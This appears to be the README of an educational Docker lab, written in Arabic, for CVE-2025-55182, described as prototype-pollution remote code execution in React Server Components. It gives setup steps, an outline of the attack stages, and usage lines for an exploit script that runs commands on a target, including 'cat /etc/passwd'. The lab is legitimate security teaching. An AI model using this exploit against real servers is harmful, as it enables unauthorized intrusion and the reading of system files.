
مختبر تعليمي يوضح CVE-2025-55182: ثغرة RCE حرجة في React Server Components عبر تلوث النموذج الأولي في بروتوكول Flight
مختبر تعليمي يوضح CVE-2025-55182 — ثغرة حرجة (CVSS 10.0) في تنفيذ التعليمات البرمجية عن بُعد في React Server Components ناتجة عن تلوّث النموذج الأولي (prototype pollution) في مفكك بروتوكول Flight.
إخلاء مسؤولية: هذا المستودع مخصّص لأغراض البحث الأمني التعليمي والمصرّح به فقط. الوصول غير المصرّح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمّل المؤلف أي مسؤولية عن إساءة استخدام هذه المادة. استخدمها فقط ضد الأنظمة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها. باستخدامك لهذا الكود، فأنت توافق على أنك مسؤول عن أفعالك.
# 1. Clone
git clone https://github.com/Jeanback1/react-rsc-cve-2025-55182-lab.git
cd react-rsc-cve-2025-55182-lab
# 2. Start the lab (vulnerable + patched instances)
docker compose up -d
# Wait ~2 minutes for both containers to build and start.
# 3. Exploit the vulnerable instance
python exploit/exploit.py http://localhost:3011 id
# 4. Try the same against the patched instance — it fails
python exploit/exploit.py http://localhost:3012 id
docker compose
┌────────────────────────────────┐
│ │
attacker ────▶│ :3011 → rsc-lab-vulnerable │ React 19.2.0
│ (Server Action) │ ← exploitable
│ │
│ :3012 → rsc-lab-patched │ React 19.2.1
│ (no Server Action) │ ← patched
└────────────────────────────────┘
| الحاوية | المنفذ | إصدار React | Server Action | قابلة للاستغلال؟ |
|---|---|---|---|---|
rsc-lab-vulnerable | 3011 | 19.2.0 | نعم | نعم |
rsc-lab-patched | 3012 | 19.2.1 | لا | لا |
requests (pip install requests)├── docker-compose.yml # Lab orchestration
├── README.md # This file
├── LICENSE
│
├── vulnerable/ # Vulnerable Next.js app
│ ├── Dockerfile
│ ├── package.json # [email protected], [email protected]
│ └── app/
│ ├── layout.tsx
│ ├── page.tsx # Server Component + Server Action
│ └── actions.ts # 'use server' — the attack surface
│
├── patched/ # Patched Next.js app
│ ├── Dockerfile
│ ├── package.json # [email protected], [email protected]
│ └── app/
│ ├── layout.tsx
│ └── page.tsx # Server Component only (no Server Actions)
│
├── exploit/
│ ├── exploit.py # Educational RCE exploit (well-commented)
│ ├── requirements.txt
│ └── pyproject.toml
│
└── docs/
└── CVE-2025-55182.md # Full technical analysis
# Single command execution
python exploit/exploit.py <target> <command>
# Examples
python exploit/exploit.py http://localhost:3011 id
python exploit/exploit.py http://localhost:3011 "cat /etc/passwd"
python exploit/exploit.py http://localhost:3011 "ls -la /app"
تعمل الأداة على ثلاث مراحل:
__proto__ → تلويث Object.prototype.thenmultipart/form-data عبر نقطة نهاية Server ActionX-Action-Redirect (مشفّرة بـ base64)| الحزمة | الإصدار القابل للاستغلال | الإصدار المصلَّح |
|---|---|---|
react | ≤ 19.2.0 | ≥ 19.2.1 |
react-dom | ≤ 19.2.0 | ≥ 19.2.1 |
react-server-dom-webpack | ≤ 19.2.0 | ≥ 19.2.1 |
انظر docs/CVE-2025-55182.md للحصول على شرح كامل:
__proto__ خطيرًا